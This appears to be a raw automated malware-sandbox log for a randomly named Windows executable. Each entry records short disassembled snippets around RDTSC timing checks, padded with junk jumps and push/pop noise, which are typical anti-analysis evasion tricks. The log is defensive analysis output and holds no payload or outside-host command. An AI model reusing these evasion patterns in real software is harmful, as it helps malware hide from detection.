Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7030CD second address: 703148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D27CDh], ecx 0x0000000e jmp 00007F74ACE25129h 0x00000013 push 00000000h 0x00000015 mov edi, 5D6E6D8Ah 0x0000001a movzx edx, dx 0x0000001d call 00007F74ACE25119h 0x00000022 jmp 00007F74ACE2511Fh 0x00000027 push eax 0x00000028 push ebx 0x00000029 jmp 00007F74ACE25123h 0x0000002e pop ebx 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 jmp 00007F74ACE25120h 0x00000038 mov eax, dword ptr [eax] 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 703148 second address: 70315A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 70315A second address: 703165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F74ACE25116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72228F second address: 7222C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F74AC8A01F7h 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007F74AC8A01F5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7222C5 second address: 7222E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F74ACE2511Ch 0x0000000d je 00007F74ACE2511Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7222E1 second address: 7222E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7222E7 second address: 7222F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F74ACE25116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7222F2 second address: 722318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F74AC8A01E6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F74AC8A01F7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7228AC second address: 7228B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7228B3 second address: 7228B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722B8A second address: 722BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F74ACE25125h 0x00000010 jng 00007F74ACE2511Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722BB8 second address: 722BCF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F74AC8A01F2h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722D26 second address: 722D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722D2A second address: 722D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722D4D second address: 722D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722D53 second address: 722D57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722D57 second address: 722D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jbe 00007F74ACE25116h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 722D69 second address: 722D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jg 00007F74AC8A01E6h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F74AC8A01EFh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72313E second address: 723142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 723142 second address: 723154 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01ECh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7233EB second address: 723411 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a jmp 00007F74ACE25126h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 723411 second address: 723415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 723415 second address: 72341B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719E5F second address: 719E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719E63 second address: 719E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719E67 second address: 719E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F74AC8A01EAh 0x0000000b pushad 0x0000000c jmp 00007F74AC8A01EFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719E89 second address: 719EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE25125h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jp 00007F74ACE25116h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719EB0 second address: 719EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719EB9 second address: 719EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 719EBD second address: 719EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72426A second address: 72428A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74ACE25126h 0x00000009 ja 00007F74ACE25116h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 729927 second address: 72992B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72992B second address: 729938 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 729938 second address: 729965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01F7h 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F74AC8A01ECh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 729B8B second address: 729B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 729B91 second address: 729B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72ADDD second address: 72AE1E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F74ACE25116h 0x00000008 jmp 00007F74ACE25121h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F74ACE2512Dh 0x00000015 jmp 00007F74ACE25127h 0x0000001a pushad 0x0000001b js 00007F74ACE25116h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72AE1E second address: 72AE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01EEh 0x00000009 popad 0x0000000a jng 00007F74AC8A01ECh 0x00000010 jl 00007F74AC8A01E6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F74AC8A01F7h 0x0000001f jo 00007F74AC8A01E6h 0x00000025 jne 00007F74AC8A01E6h 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72AE6B second address: 72AE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72AE71 second address: 72AE87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F758E second address: 6F7596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F7596 second address: 6F759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EC6A second address: 72EC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnp 00007F74ACE2511Ch 0x0000000b js 00007F74ACE25116h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EC7B second address: 72EC96 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F74AC8A01E8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b ja 00007F74AC8A01E6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EC96 second address: 72ECBE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F74ACE25116h 0x00000008 jmp 00007F74ACE25129h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EE0B second address: 72EE10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EE10 second address: 72EE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EE1B second address: 72EE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F74AC8A01F1h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F74AC8A01E6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72EE3D second address: 72EE41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72F1B1 second address: 72F1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jc 00007F74AC8A01E6h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72F1BE second address: 72F1D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F74ACE2511Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72F1D1 second address: 72F1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F74AC8A01F5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72F1F3 second address: 72F1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72F1F7 second address: 72F1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 72F1FB second address: 72F21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F74ACE25129h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731D70 second address: 731D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731D75 second address: 731DC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F74ACE2511Bh 0x00000011 jnp 00007F74ACE25116h 0x00000017 popad 0x00000018 pushad 0x00000019 je 00007F74ACE25116h 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 popad 0x00000023 mov eax, dword ptr [esp+04h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push ebx 0x0000002a jmp 00007F74ACE25120h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 731DC0 second address: 731DDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7322C8 second address: 7322CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7322CC second address: 7322EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F74AC8A01F3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 732E5F second address: 732E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 732E64 second address: 732E69 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7333E9 second address: 7333EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7333EE second address: 7333F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 733D3D second address: 733D53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 733D53 second address: 733D6A instructions: 0x00000000 rdtsc 0x00000002 je 00007F74AC8A01ECh 0x00000008 jnp 00007F74AC8A01E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735178 second address: 735219 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F74ACE25118h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F74ACE2511Fh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F74ACE25118h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1B07h], edx 0x00000033 push 00000000h 0x00000035 mov edi, dword ptr [ebp+122D36B4h] 0x0000003b sub si, E3D8h 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F74ACE25118h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 00000018h 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c pushad 0x0000005d mov ebx, dword ptr [ebp+122D3804h] 0x00000063 mov di, cx 0x00000066 popad 0x00000067 push eax 0x00000068 jp 00007F74ACE25137h 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F74ACE25129h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 734874 second address: 734878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 733D6A second address: 733D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 734878 second address: 734882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 733D6E second address: 733D72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735A91 second address: 735A97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 733D72 second address: 733D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735CBC second address: 735CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735A97 second address: 735A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735CC3 second address: 735CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735CC8 second address: 735CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 735CD6 second address: 735D58 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F74AC8A01ECh 0x00000008 jnc 00007F74AC8A01E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jmp 00007F74AC8A01EEh 0x00000016 push 00000000h 0x00000018 je 00007F74AC8A020Fh 0x0000001e call 00007F74AC8A01EEh 0x00000023 call 00007F74AC8A01F9h 0x00000028 pop esi 0x00000029 pop edi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F74AC8A01E8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a js 00007F74AC8A01E6h 0x00000050 push edx 0x00000051 pop edx 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7372BC second address: 7372CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7372CC second address: 7372D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 739933 second address: 739937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 737B93 second address: 737B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73866B second address: 738676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F74ACE25116h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 738676 second address: 73867C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73B9CE second address: 73B9D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
